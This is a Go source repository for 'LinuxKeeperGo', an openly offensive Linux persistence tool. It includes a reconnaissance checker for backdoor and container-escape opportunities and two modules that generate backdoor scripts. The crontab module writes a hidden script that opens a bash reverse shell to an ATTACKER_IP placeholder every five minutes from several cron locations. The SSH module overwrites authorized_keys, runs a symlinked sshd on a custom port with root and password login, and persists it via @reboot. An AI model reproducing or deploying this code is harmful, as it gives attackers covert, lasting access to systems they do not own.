├── .idea
├── .gitignore
├── LinuxKeeperGo.iml
├── modules.xml
└── vcs.xml
├── README.md
├── cmd
└── main.go
├── go.mod
├── internal
├── checker
│ └── checker.go
├── core
│ └── generator
│ │ └── generator.go
├── modules
│ ├── crontab
│ │ └── crontab.go
│ ├── ssh
│ │ └── ssh.go
│ ├── types.go
│ └── user
│ │ └── user.go
└── utils
│ ├── banner.go
│ └── shell.go
└── pngs
└── ssh.png
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/LinuxKeeperGo.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # LinuxKeeperGo
2 |
3 | Advanced
4 | Linux Persistence Tool written in Go.
5 |
6 | ## Features
7 |
8 | - System environment detection
9 | - Multiple persistence methods
10 | - Automated payload generation
11 | - Support for various Linux distributions
12 |
13 | ## Installation
14 |
15 | ```bash
16 | git clone https://github.com/10cks/LinuxKeeperGo
17 | cd LinuxKeeperGo
18 | CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -a -trimpath -ldflags '-w -s -extldflags "-static"' -o LinuxKeeperGo ./cmd/main.go
19 | ```
20 |
21 | ## Usage
22 |
23 | ```bash
24 | _ _ _ __ ____
25 | | | (_)_ __ _ ___ _| |/ /___ ___ _ __ ___ _ / ___| ___
26 | | | | | '_ \| | | \ \/ / ' // _ \/ _ \ '_ \ / _ \ | | _ / _ \
27 | | |___| | | | | |_| |> <| . \ __/ __/ |_) | __/ | |_| | (_) |
28 | |_____|_|_| |_|\__,_/_/\_\_|\_\___|\___| .__/ \___| \____|\___/
29 | |_|
30 |
31 | [*] Linux Persistence Tool - Written in Go
32 | [*] Author: 10cks
33 | [*] Github: https://github.com/10cks/LinuxKeeperGo
34 | [*] Version: 1.0.0
35 |
36 | [*] System Check Results:
37 | ---------------->Privilege<-----------------
38 | uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),116(netdev),1001(docker)
39 | ----------->Backdoor Check<-------------
40 | OpenSSH后门[只测试过 Ubuntu 14 版本成功]
41 | [x] SSH后门用户
42 | [√] Alerts后门
43 | 计划任务后门
44 | [x] /etc/crontab
45 | [√] /var/spool/cron/ubuntu
46 | [√] /var/spool/cron/crontabs
47 | [x] SSH软链接后门
48 | [如果是root权限,可以直接SSH软链接模块运行开启]
49 | [√] SSH公私密钥后门
50 | 没有权限修改sshd_config文件
51 | [√] Strace后门
52 | [x] Rootkit后门
53 | 计划任务&SSH软链接后门
54 | [x] /etc/crontab
55 | [√] /var/spool/cron/ubuntu
56 | [√] /var/spool/cron/crontabs
57 | 计划任务&SSH Key后门
58 | [x] /etc/crontab
59 | [√] /var/spool/cron/ubuntu
60 | [√] /var/spool/cron/crontabs
61 | [x] /etc/ssh/sshd_config
62 | ------------------->Env<--------------------
63 | [x] PHP
64 | [x] Kubernetes
65 | [x] Rust
66 | [√] C++
67 | [x] Python2
68 | [√] Python3
69 | [x] Java
70 | [√] Docker
71 |
72 |
73 | Usage:
74 | -m Select and execute a module
75 | -c <1|2> Show module information
76 | -l List all available modules
77 | -h Show this help message
78 | ```
79 |
80 | ## Current Modules
81 |
82 | [1] [root] SSH Backdoor - Create SSH backdoor with custom port
83 |
84 | [2] [user/root] Crontab Backdoor - Create persistent crontab backdoor
85 |
86 | ## Demo
87 |
88 | ### ssh module
89 |
90 | 
91 |
92 | ## 参考项目:
93 |
94 | https://github.com/RuoJi6/HackerPermKeeper
--------------------------------------------------------------------------------
/cmd/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "os"
8 |
9 | "github.com/10cks/LinuxKeeperGo/internal/checker"
10 | "github.com/10cks/LinuxKeeperGo/internal/core/generator"
11 | "github.com/10cks/LinuxKeeperGo/internal/modules"
12 | "github.com/10cks/LinuxKeeperGo/internal/utils"
13 | )
14 |
15 | func main() {
16 | var (
17 | moduleFlag = flag.Int("m", 0, "Select module number")
18 | checkFlag = flag.Int("c", 0, "Check system information (1: basic, 2: detailed)")
19 | listFlag = flag.Bool("l", false, "List all available modules")
20 | helpFlag = flag.Bool("h", false, "Show help information")
21 | )
22 | flag.Parse()
23 |
24 | utils.ShowBanner()
25 |
26 | if *helpFlag {
27 | showHelp()
28 | os.Exit(0)
29 | }
30 |
31 | if *listFlag {
32 | listModules()
33 | os.Exit(0)
34 | }
35 |
36 | // 运行系统检查
37 | if result := checker.Start(); result != nil {
38 | fmt.Println("\n[*] System Check Results:")
39 | fmt.Println(string(result))
40 | }
41 |
42 | // 处理模块选择
43 | switch {
44 | case *checkFlag > 0:
45 | showModuleInfo(*checkFlag)
46 | case *moduleFlag > 0:
47 | if err := executeModule(*moduleFlag); err != nil {
48 | log.Fatalf("[x] Module execution failed: %v", err)
49 | }
50 | default:
51 | showHelp()
52 | }
53 | }
54 |
55 | func showHelp() {
56 | fmt.Println("\nUsage:")
57 | fmt.Println(" -m Select and execute a module")
58 | fmt.Println(" -c <1|2> Show module information")
59 | fmt.Println(" -l List all available modules")
60 | fmt.Println(" -h Show this help message")
61 | }
62 |
63 | func listModules() {
64 | fmt.Println("\nAvailable Modules:")
65 | for id, module := range modules.AvailableModules {
66 | fmt.Printf("[%d] %s - %s\n", id, module.Name, module.Description)
67 | }
68 | }
69 |
70 | func showModuleInfo(level int) {
71 | fmt.Println("\nModule Information:")
72 | for id, module := range modules.AvailableModules {
73 | if level == 1 {
74 | fmt.Printf("[%d] %s - %s\n", id, module.Name, module.Description)
75 | } else {
76 | fmt.Printf("\n[Module %d]\n", id)
77 | fmt.Printf("Name: %s\n", module.Name)
78 | fmt.Printf("Description: %s\n", module.Description)
79 | fmt.Printf("Required Privileges: %s\n", module.RequiredPrivs)
80 | fmt.Printf("Supported Systems: %v\n", module.SupportedSystems)
81 | fmt.Printf("Risk Level: %s\n", module.RiskLevel)
82 | }
83 | }
84 | }
85 |
86 | func executeModule(moduleID int) error {
87 | if !utils.CheckRoot() {
88 | return fmt.Errorf("root privileges required")
89 | }
90 |
91 | gen := generator.NewGenerator()
92 | if err := gen.Generate(moduleID); err != nil {
93 | return fmt.Errorf("failed to generate payload: %v", err)
94 | }
95 |
96 | fmt.Printf("\n[+] Payload generated successfully!")
97 | fmt.Printf("\n[+] Check the 'payloads' directory for your files")
98 | fmt.Printf("\n[+] Run '*_backdoor.sh' in 'payloads' directory\n")
99 | return nil
100 | }
101 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/10cks/LinuxKeeperGo
2 |
3 | go 1.23.0
4 |
--------------------------------------------------------------------------------
/internal/checker/checker.go:
--------------------------------------------------------------------------------
1 | package checker
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "os"
7 | "os/exec"
8 | "os/user"
9 | "path/filepath"
10 | "strings"
11 | )
12 |
13 | func ml(command string) string {
14 | cmd := exec.Command("sh", "-c", command)
15 | output, err := cmd.CombinedOutput()
16 | if err != nil {
17 | return ""
18 | }
19 | return strings.TrimSpace(string(output))
20 | }
21 |
22 | func printResult(buffer *bytes.Buffer, check string, result bool) {
23 | if result {
24 | buffer.WriteString(fmt.Sprintf("[√] %s\n", check))
25 | } else {
26 | buffer.WriteString(fmt.Sprintf("[x] %s\n", check))
27 | }
28 | }
29 |
30 | func checkAlerts(buffer *bytes.Buffer) {
31 | _, err := exec.Command("sh", "-c", "alias").Output()
32 | printResult(buffer, "Alerts后门", err == nil)
33 | }
34 |
35 | func checkSSHKey(buffer *bytes.Buffer) {
36 | currentUser, err := user.Current()
37 | if err != nil {
38 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err))
39 | return
40 | }
41 |
42 | var filePath string
43 | if currentUser.Username == "root" {
44 | filePath = "/root/.ssh/authorized_keys"
45 | } else {
46 | filePath = filepath.Join("/home", currentUser.Username, ".ssh/authorized_keys")
47 | }
48 |
49 | _, err = os.Stat(filePath)
50 | printResult(buffer, "SSH公私密钥后门", err == nil)
51 |
52 | sshdConfigPath := "/etc/ssh/sshd_config"
53 | if _, err := os.Stat(sshdConfigPath); err == nil {
54 | if isWritable(sshdConfigPath) {
55 | buffer.WriteString(" 可以修改sshd_config配置文件\n")
56 | } else {
57 | buffer.WriteString(" 没有权限修改sshd_config文件\n")
58 | }
59 | } else {
60 | buffer.WriteString(" sshd_config配置文件文件不存在\n")
61 | }
62 | }
63 |
64 | func isWritable(path string) bool {
65 | file, err := os.OpenFile(path, os.O_WRONLY, 0666)
66 | if err != nil {
67 | if os.IsPermission(err) {
68 | return false
69 | }
70 | }
71 | file.Close()
72 | return true
73 | }
74 |
75 | func checkAddUser(buffer *bytes.Buffer) {
76 | buffer.WriteString("----------->Backdoor Check<-------------\n")
77 | buffer.WriteString("OpenSSH后门[只测试过 Ubuntu 14 版本成功]\n")
78 | currentUser, err := user.Current()
79 | if err != nil {
80 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err))
81 | return
82 | }
83 |
84 | printResult(buffer, "SSH后门用户", currentUser.Gid == "0")
85 | }
86 |
87 | func checkCrontab(buffer *bytes.Buffer) {
88 | currentUser, err := user.Current()
89 | if err != nil {
90 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err))
91 | return
92 | }
93 |
94 | userCronPath := filepath.Join("/var/spool/cron", currentUser.Username)
95 | cronFiles := []string{"/etc/crontab", userCronPath, "/var/spool/cron/crontabs"}
96 |
97 | buffer.WriteString("计划任务后门\n")
98 | for _, cronFile := range cronFiles {
99 | if isWritable(cronFile) {
100 | buffer.WriteString(fmt.Sprintf(" [√] %s\n", cronFile))
101 | } else {
102 | buffer.WriteString(fmt.Sprintf(" [x] %s\n", cronFile))
103 | }
104 | }
105 | }
106 |
107 | func checkStrace(buffer *bytes.Buffer) {
108 | output := ml("strace -V")
109 | printResult(buffer, "Strace后门", strings.Contains(output, "strace -- version"))
110 | }
111 |
112 | func checkSSHSoftLink(buffer *bytes.Buffer) {
113 | sshConfig := ml("cat /etc/ssh/sshd_config|grep UsePAM")
114 | currentUser := ml("whoami")
115 |
116 | hasSSHSoftLink := strings.Contains(sshConfig, "UsePAM yes") && strings.Contains(currentUser, "root")
117 | printResult(buffer, "SSH软链接后门", hasSSHSoftLink)
118 | if !hasSSHSoftLink {
119 | buffer.WriteString(" [如果是root权限,可以直接SSH软链接模块运行开启]\n")
120 | }
121 | }
122 |
123 | func checkRootkit(buffer *bytes.Buffer) {
124 | kernelVersion := ml("uname -r")
125 | osInfo := ml("cat /etc/os-release")
126 |
127 | minKernelVersion := map[string]string{
128 | "Centos 6.10": "2.6.32-754.6.3.el6.x86_64",
129 | "Centos 7": "3.10.0-862.3.2.el7.x86_64",
130 | "Centos 8": "4.18.0-147.5.1.el8_1.x86_64",
131 | "Ubuntu 18.04.1 LTS": "4.15.0-38-generic",
132 | }
133 |
134 | maxKernelVersion := map[string]string{
135 | "Centos 6.10": "2.6.32",
136 | "Centos 7": "3.10.0",
137 | "Centos 8": "4.18.0",
138 | "Ubuntu 18.04.1 LTS": "4.15.0",
139 | }
140 |
141 | hasRootkit := false
142 | for osName, minVersion := range minKernelVersion {
143 | if strings.Contains(osInfo, osName) {
144 | maxVersion := maxKernelVersion[osName]
145 | if kernelVersion >= minVersion && kernelVersion <= maxVersion {
146 | hasRootkit = true
147 | break
148 | }
149 | }
150 | }
151 |
152 | printResult(buffer, "Rootkit后门", hasRootkit)
153 | if hasRootkit {
154 | buffer.WriteString(" https://github.com/f0rb1dd3n/Reptile/\n")
155 | }
156 | }
157 |
158 | func sshSoftLinkCrontab(buffer *bytes.Buffer) {
159 | currentUser, err := user.Current()
160 | if err != nil {
161 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err))
162 | return
163 | }
164 |
165 | userCronPath := filepath.Join("/var/spool/cron", currentUser.Username)
166 | cronFiles := []string{"/etc/crontab", userCronPath, "/var/spool/cron/crontabs"}
167 |
168 | buffer.WriteString("计划任务&SSH软链接后门\n")
169 | for _, cronFile := range cronFiles {
170 | if isWritable(cronFile) {
171 | buffer.WriteString(fmt.Sprintf(" [√] %s\n", cronFile))
172 | } else {
173 | buffer.WriteString(fmt.Sprintf(" [x] %s\n", cronFile))
174 | }
175 | }
176 | }
177 |
178 | func sshCrontabSSHKey(buffer *bytes.Buffer) {
179 | currentUser, err := user.Current()
180 | if err != nil {
181 | buffer.WriteString(fmt.Sprintf("Error getting current user: %v\n", err))
182 | return
183 | }
184 |
185 | userCronPath := filepath.Join("/var/spool/cron", currentUser.Username)
186 | cronFiles := []string{"/etc/crontab", userCronPath, "/var/spool/cron/crontabs", "/etc/ssh/sshd_config"}
187 |
188 | buffer.WriteString("计划任务&SSH Key后门\n")
189 | for _, cronFile := range cronFiles {
190 | if isWritable(cronFile) {
191 | buffer.WriteString(fmt.Sprintf(" [√] %s\n", cronFile))
192 | } else {
193 | buffer.WriteString(fmt.Sprintf(" [x] %s\n", cronFile))
194 | }
195 | }
196 | }
197 |
198 | func dockerK8s(buffer *bytes.Buffer) {
199 | cgroupContent, err := os.ReadFile("/proc/1/cgroup")
200 | if err != nil {
201 | buffer.WriteString(fmt.Sprintf("Error reading cgroup file: %v\n", err))
202 | return
203 | }
204 |
205 | if strings.Contains(string(cgroupContent), "kubepods") {
206 | buffer.WriteString("----------------->container<---------------\n")
207 | buffer.WriteString("{kubepods k8s}\n")
208 | dockerK8sEsc(buffer)
209 | } else if strings.Contains(string(cgroupContent), "docker") {
210 | buffer.WriteString("----------------->container<---------------\n")
211 | buffer.WriteString("{docker}\n")
212 | dockerK8sEsc(buffer)
213 | }
214 | }
215 |
216 | func dockerK8sEsc(buffer *bytes.Buffer) {
217 | capEff := ml("cat /proc/self/status | grep CapEff")
218 | printResult(buffer, "Docker特权逃逸", strings.Contains(capEff, "0000001fffffffff"))
219 |
220 | _, err := os.Stat("/var/run/docker.sock")
221 | printResult(buffer, "Docker Socket逃逸", err == nil)
222 |
223 | corePatterPath := ml("find / -name core_pattern")
224 | hasProcfsEscape := strings.Contains(corePatterPath, "/host/proc/sys/kernel/core_pattern") &&
225 | strings.Contains(corePatterPath, "/proc/sys/kernel/core_pattern")
226 | printResult(buffer, "Docker procfs逃逸", hasProcfsEscape)
227 | }
228 |
229 | func checkUser(buffer *bytes.Buffer) {
230 | buffer.WriteString("---------------->Privilege<-----------------\n")
231 | cmd := exec.Command("id")
232 | output, err := cmd.Output()
233 | if err != nil {
234 | buffer.WriteString(fmt.Sprintf("Error getting user information: %v\n", err))
235 | return
236 | }
237 | buffer.WriteString(fmt.Sprintf("%s\n", strings.TrimSpace(string(output))))
238 | }
239 |
240 | func checkPath(buffer *bytes.Buffer) {
241 | buffer.WriteString("------------------->Env<--------------------\n")
242 | languages := map[string]string{
243 | "Python2": "python2",
244 | "Python3": "python3",
245 | "Java": "java",
246 | "Docker": "docker",
247 | "PHP": "php",
248 | "Kubernetes": "kubectl",
249 | "Rust": "rustc",
250 | "C++": "g++",
251 | }
252 |
253 | for langName, langCmd := range languages {
254 | _, err := exec.LookPath(langCmd)
255 | printResult(buffer, langName, err == nil)
256 | }
257 | }
258 |
259 | func Start() []byte {
260 | var buffer bytes.Buffer
261 |
262 | checkUser(&buffer)
263 | checkAddUser(&buffer)
264 | checkAlerts(&buffer)
265 | checkCrontab(&buffer)
266 | checkSSHSoftLink(&buffer)
267 | checkSSHKey(&buffer)
268 | checkStrace(&buffer)
269 | checkRootkit(&buffer)
270 | sshSoftLinkCrontab(&buffer)
271 | sshCrontabSSHKey(&buffer)
272 | dockerK8s(&buffer)
273 | checkPath(&buffer)
274 |
275 | return buffer.Bytes()
276 | }
277 |
278 | func main() {
279 | result := Start()
280 | fmt.Println(string(result))
281 | }
282 |
--------------------------------------------------------------------------------
/internal/core/generator/generator.go:
--------------------------------------------------------------------------------
1 | package generator
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path/filepath"
7 | "text/template"
8 | "time"
9 |
10 | "github.com/10cks/LinuxKeeperGo/internal/modules"
11 | "github.com/10cks/LinuxKeeperGo/internal/modules/crontab"
12 | "github.com/10cks/LinuxKeeperGo/internal/modules/ssh"
13 | )
14 |
15 | type Generator struct {
16 | OutputDir string
17 | Timestamp string
18 | }
19 |
20 | func NewGenerator() *Generator {
21 | return &Generator{
22 | OutputDir: "payloads",
23 | Timestamp: time.Now().Format("20060102_150405"),
24 | }
25 | }
26 |
27 | func (g *Generator) Generate(moduleID int) error {
28 | module, exists := modules.AvailableModules[moduleID]
29 | if !exists {
30 | return fmt.Errorf("invalid module ID: %d", moduleID)
31 | }
32 |
33 | // 创建输出目录
34 | outDir := filepath.Join(g.OutputDir, fmt.Sprintf("%d_%s_%s", moduleID, module.Name, g.Timestamp))
35 | if err := os.MkdirAll(outDir, 0755); err != nil {
36 | return fmt.Errorf("failed to create output directory: %v", err)
37 | }
38 |
39 | // 根据模块类型生成payload
40 | switch moduleID {
41 | case 1:
42 | backdoor, err := ssh.NewSSHBackdoor()
43 | if err != nil {
44 | return fmt.Errorf("failed to create SSH backdoor: %v", err)
45 | }
46 | return backdoor.GeneratePayload(outDir)
47 | case 2:
48 | return crontab.NewCrontabBackdoor().GeneratePayload(outDir)
49 | default:
50 | return fmt.Errorf("unsupported module ID: %d", moduleID)
51 | }
52 | }
53 |
54 | func (g *Generator) writeFile(filepath string, content string, data interface{}) error {
55 | tmpl, err := template.New("payload").Parse(content)
56 | if err != nil {
57 | return fmt.Errorf("failed to parse template: %v", err)
58 | }
59 |
60 | f, err := os.Create(filepath)
61 | if err != nil {
62 | return fmt.Errorf("failed to create file: %v", err)
63 | }
64 | defer f.Close()
65 |
66 | if err := tmpl.Execute(f, data); err != nil {
67 | return fmt.Errorf("failed to execute template: %v", err)
68 | }
69 |
70 | return os.Chmod(filepath, 0755)
71 | }
72 |
--------------------------------------------------------------------------------
/internal/modules/crontab/crontab.go:
--------------------------------------------------------------------------------
1 | package crontab
2 |
3 | import (
4 | "fmt"
5 | "os"
6 | "path/filepath"
7 | "text/template"
8 | "time"
9 | )
10 |
11 | type CrontabBackdoor struct {
12 | Schedule string
13 | Command string
14 | BackupPath string
15 | }
16 |
17 | func NewCrontabBackdoor() *CrontabBackdoor {
18 | return &CrontabBackdoor{
19 | Schedule: "*/5 * * * *",
20 | Command: "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1",
21 | BackupPath: "/tmp/.backup",
22 | }
23 | }
24 |
25 | func (c *CrontabBackdoor) GeneratePayload(outDir string) error {
26 | mainScript := `#!/bin/bash
27 | # Crontab Backdoor Generator
28 | # Generated at: {{.Timestamp}}
29 |
30 | # 配置信息
31 | ATTACKER_IP="YOUR_IP"
32 | ATTACKER_PORT="4444"
33 | SCHEDULE="*/5 * * * *"
34 |
35 | # 创建反弹shell命令
36 | SHELL_CMD="bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"
37 |
38 | # 创建隐藏目录和后门文件
39 | HIDE_DIR="/var/tmp/.system"
40 | BACKDOOR_SCRIPT="$HIDE_DIR/.update.sh"
41 | mkdir -p $HIDE_DIR
42 |
43 | # 创建后门脚本
44 | cat > $BACKDOOR_SCRIPT << 'EOL'
45 | #!/bin/bash
46 | bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1
47 | EOL
48 |
49 | chmod +x $BACKDOOR_SCRIPT
50 |
51 | # 添加到多个位置实现持久化
52 | echo "$SCHEDULE root $BACKDOOR_SCRIPT" >> /etc/crontab
53 | echo "$SCHEDULE root $BACKDOOR_SCRIPT" >> /etc/cron.d/system-update
54 | (crontab -l 2>/dev/null; echo "$SCHEDULE $BACKDOOR_SCRIPT") | crontab -
55 |
56 | # 重启cron服务
57 | service cron reload 2>/dev/null || service crond reload 2>/dev/null
58 |
59 | echo "[+] Crontab后门安装完成"
60 | echo "[+] 反弹Shell将每5分钟连接到 $ATTACKER_IP:$ATTACKER_PORT"
61 | echo "[+] 在攻击机器上运行以下命令监听连接:"
62 | echo " nc -lvnp $ATTACKER_PORT"
63 | `
64 |
65 | scriptPath := filepath.Join(outDir, "crontab_backdoor.sh")
66 | return c.writeFile(scriptPath, mainScript, struct {
67 | Timestamp string
68 | Schedule string
69 | Command string
70 | BackupPath string
71 | }{
72 | Timestamp: time.Now().Format("2006-01-02 15:04:05"),
73 | Schedule: c.Schedule,
74 | Command: c.Command,
75 | BackupPath: c.BackupPath,
76 | })
77 | }
78 |
79 | func (c *CrontabBackdoor) writeFile(filepath string, content string, data interface{}) error {
80 | tmpl, err := template.New("crontab").Parse(content)
81 | if err != nil {
82 | return fmt.Errorf("failed to parse template: %v", err)
83 | }
84 |
85 | f, err := os.Create(filepath)
86 | if err != nil {
87 | return fmt.Errorf("failed to create file: %v", err)
88 | }
89 | defer f.Close()
90 |
91 | if err := tmpl.Execute(f, data); err != nil {
92 | return fmt.Errorf("failed to execute template: %v", err)
93 | }
94 |
95 | return os.Chmod(filepath, 0755)
96 | }
97 |
--------------------------------------------------------------------------------
/internal/modules/ssh/ssh.go:
--------------------------------------------------------------------------------
1 | package ssh
2 |
3 | import (
4 | "bufio"
5 | "fmt"
6 | "net"
7 | "os"
8 | "path/filepath"
9 | "strconv"
10 | "strings"
11 | "text/template"
12 | "time"
13 | )
14 |
15 | type SSHBackdoor struct {
16 | Port int
17 | LinkPath string
18 | KeyPath string
19 | }
20 |
21 | // 检查端口是否可用
22 | func isPortAvailable(port int) bool {
23 | ln, err := net.Listen("tcp", fmt.Sprintf(":%d", port))
24 | if err != nil {
25 | return false
26 | }
27 | ln.Close()
28 | return true
29 | }
30 |
31 | // 获取用户输入
32 | func getUserInput(prompt string) string {
33 | reader := bufio.NewReader(os.Stdin)
34 | fmt.Print(prompt)
35 | input, _ := reader.ReadString('\n')
36 | return strings.TrimSpace(input)
37 | }
38 |
39 | func NewSSHBackdoor() (*SSHBackdoor, error) {
40 | backdoor := &SSHBackdoor{
41 | LinkPath: "/tmp/.sshd",
42 | KeyPath: "/tmp/.ssh_key",
43 | }
44 |
45 | for {
46 | portStr := getUserInput("请输入SSH后门端口 (1024-65535): ")
47 | port, err := strconv.Atoi(portStr)
48 | if err != nil {
49 | fmt.Println("[-] 错误: 请输入有效的数字")
50 | continue
51 | }
52 |
53 | if port < 1024 || port > 65535 {
54 | fmt.Println("[-] 错误: 端口必须在1024-65535之间")
55 | continue
56 | }
57 |
58 | if !isPortAvailable(port) {
59 | fmt.Printf("[-] 错误: 端口 %d 已被占用\n", port)
60 | continue
61 | }
62 |
63 | backdoor.Port = port
64 | fmt.Printf("[+] 端口 %d 可用\n", port)
65 | break
66 | }
67 |
68 | return backdoor, nil
69 | }
70 |
71 | func (s *SSHBackdoor) GeneratePayload(outDir string) error {
72 | mainScript := `#!/bin/bash
73 | # SSH Backdoor Generator
74 | # Generated at: {{.Timestamp}}
75 |
76 | SSH_PORT={{.Port}}
77 | LINK_PATH="{{.LinkPath}}"
78 | KEY_PATH="{{.KeyPath}}"
79 |
80 | # 创建隐藏目录
81 | HIDE_DIR="/var/tmp/.system"
82 | mkdir -p $HIDE_DIR
83 |
84 | echo "[+] 生成SSH密钥对..."
85 | ssh-keygen -t ed25519 -f $KEY_PATH -N "" 2>/dev/null
86 |
87 | echo "[+] 设置.ssh目录权限..."
88 | mkdir -p ~/.ssh
89 | chmod 700 ~/.ssh
90 | ls -la ~ | grep .ssh
91 |
92 | echo "[+] 添加公钥到authorized_keys..."
93 | cat ${KEY_PATH}.pub > ~/.ssh/authorized_keys
94 | chmod 600 ~/.ssh/authorized_keys
95 | ls -la ~/.ssh/
96 | echo "authorized_keys内容:"
97 | cat ~/.ssh/authorized_keys
98 |
99 | echo "[+] 创建sshd配置..."
100 | cat > /tmp/sshd_config << EOF
101 | Port $SSH_PORT
102 | HostKey /etc/ssh/ssh_host_rsa_key
103 | HostKey /etc/ssh/ssh_host_ecdsa_key
104 | HostKey /etc/ssh/ssh_host_ed25519_key
105 |
106 | AuthorizedKeysFile %h/.ssh/authorized_keys
107 | PubkeyAuthentication yes
108 | PasswordAuthentication yes
109 | PermitRootLogin yes
110 | StrictModes no
111 |
112 | UsePAM yes
113 | X11Forwarding yes
114 | PrintMotd no
115 |
116 | LogLevel DEBUG3
117 |
118 | AcceptEnv LANG LC_*
119 | Subsystem sftp /usr/lib/openssh/sftp-server
120 | EOF
121 |
122 | echo "[+] 验证sshd配置..."
123 | /usr/sbin/sshd -t -f /tmp/sshd_config
124 |
125 | echo "[+] 启动SSH服务..."
126 | ln -sf /usr/sbin/sshd $LINK_PATH
127 | pkill -f "$LINK_PATH -f /tmp/sshd_config"
128 | $LINK_PATH -f /tmp/sshd_config -D -E /tmp/sshd.log &
129 |
130 | # 等待服务启动
131 | sleep 2
132 |
133 | echo "[+] 验证SSH服务状态..."
134 | if ! ps aux | grep -q "$LINK_PATH"; then
135 | echo "[-] 错误: SSH服务启动失败"
136 | tail -n 20 /tmp/sshd.log
137 | exit 1
138 | fi
139 |
140 | echo "[+] 添加持久化..."
141 | echo "@reboot $LINK_PATH -f /tmp/sshd_config -D" | crontab -
142 |
143 | echo "[+] 保存并设置私钥权限..."
144 | install -m 600 $KEY_PATH ./id_ed25519
145 | ls -la ./id_ed25519
146 |
147 | echo "[+] 清理临时文件..."
148 | rm -f ${KEY_PATH}*
149 |
150 | echo "[+] SSH后门安装完成"
151 | echo "[+] 后门端口: $SSH_PORT"
152 | echo "[+] 使用方法:"
153 | echo " 1. 下载id_ed25519,使用密钥登录:"
154 | echo " ssh -i ./id_ed25519 -p $SSH_PORT root@<目标IP>"
155 | echo " 2. 使用密码登录:"
156 | echo " ssh -p $SSH_PORT root@<目标IP>"
157 | echo
158 | echo "[+] 重要提示:"
159 | echo " 确保私钥文件权限为600: chmod 600 ./id_ed25519"
160 | echo
161 | echo "[+] 调试命令:"
162 | echo " 查看sshd日志: tail -f /tmp/sshd.log"
163 | echo " 查看sshd配置: cat /tmp/sshd_config"
164 | echo " 查看公钥: cat ~/.ssh/authorized_keys"
165 | echo " 查看私钥权限: ls -la ./id_ed25519"
166 | echo " 查看进程: ps aux | grep sshd"
167 | echo
168 | echo "[+] 测试本地连接:"
169 | echo " ssh -v -i ./id_ed25519 -p $SSH_PORT -o StrictHostKeyChecking=no root@127.0.0.1"
170 | `
171 | scriptPath := filepath.Join(outDir, "ssh_backdoor.sh")
172 | return s.writeFile(scriptPath, mainScript, struct {
173 | Timestamp string
174 | Port int
175 | LinkPath string
176 | KeyPath string
177 | }{
178 | Timestamp: time.Now().Format("2006-01-02 15:04:05"),
179 | Port: s.Port,
180 | LinkPath: s.LinkPath,
181 | KeyPath: s.KeyPath,
182 | })
183 | }
184 |
185 | func (s *SSHBackdoor) writeFile(filepath string, content string, data interface{}) error {
186 | tmpl, err := template.New("ssh").Parse(content)
187 | if err != nil {
188 | return fmt.Errorf("failed to parse template: %v", err)
189 | }
190 |
191 | f, err := os.Create(filepath)
192 | if err != nil {
193 | return fmt.Errorf("failed to create file: %v", err)
194 | }
195 | defer f.Close()
196 |
197 | if err := tmpl.Execute(f, data); err != nil {
198 | return fmt.Errorf("failed to execute template: %v", err)
199 | }
200 |
201 | return os.Chmod(filepath, 0755)
202 | }
203 |
--------------------------------------------------------------------------------
/internal/modules/types.go:
--------------------------------------------------------------------------------
1 | package modules
2 |
3 | type Module struct {
4 | ID int
5 | Name string
6 | Description string
7 | RequiredPrivs string
8 | SupportedSystems []string
9 | RiskLevel string
10 | Execute func() error
11 | }
12 |
13 | var AvailableModules = map[int]Module{
14 | 1: {
15 | ID: 1,
16 | Name: "SSH Backdoor",
17 | Description: "Create SSH backdoor with custom port",
18 | RequiredPrivs: "root",
19 | SupportedSystems: []string{"Ubuntu", "CentOS"},
20 | RiskLevel: "High",
21 | },
22 | 2: {
23 | ID: 2,
24 | Name: "Crontab Backdoor",
25 | Description: "Create persistent crontab backdoor",
26 | RequiredPrivs: "root",
27 | SupportedSystems: []string{"Ubuntu", "CentOS"},
28 | RiskLevel: "Medium",
29 | },
30 | }
31 |
--------------------------------------------------------------------------------
/internal/modules/user/user.go:
--------------------------------------------------------------------------------
1 | package user
2 |
--------------------------------------------------------------------------------
/internal/utils/banner.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | const Banner = `
4 | _ _ _ __ ____
5 | | | (_)_ __ _ ___ _| |/ /___ ___ _ __ ___ _ / ___| ___
6 | | | | | '_ \| | | \ \/ / ' // _ \/ _ \ '_ \ / _ \ | | _ / _ \
7 | | |___| | | | | |_| |> <| . \ __/ __/ |_) | __/ | |_| | (_) |
8 | |_____|_|_| |_|\__,_/_/\_\_|\_\___|\___| .__/ \___| \____|\___/
9 | |_|
10 |
11 | [*] Linux Persistence Tool - Written in Go
12 | [*] Author: 10cks
13 | [*] Github: https://github.com/10cks/LinuxKeeperGo
14 | [*] Version: 1.0.0
15 | `
16 |
17 | func ShowBanner() {
18 | println(Banner)
19 | }
20 |
--------------------------------------------------------------------------------
/internal/utils/shell.go:
--------------------------------------------------------------------------------
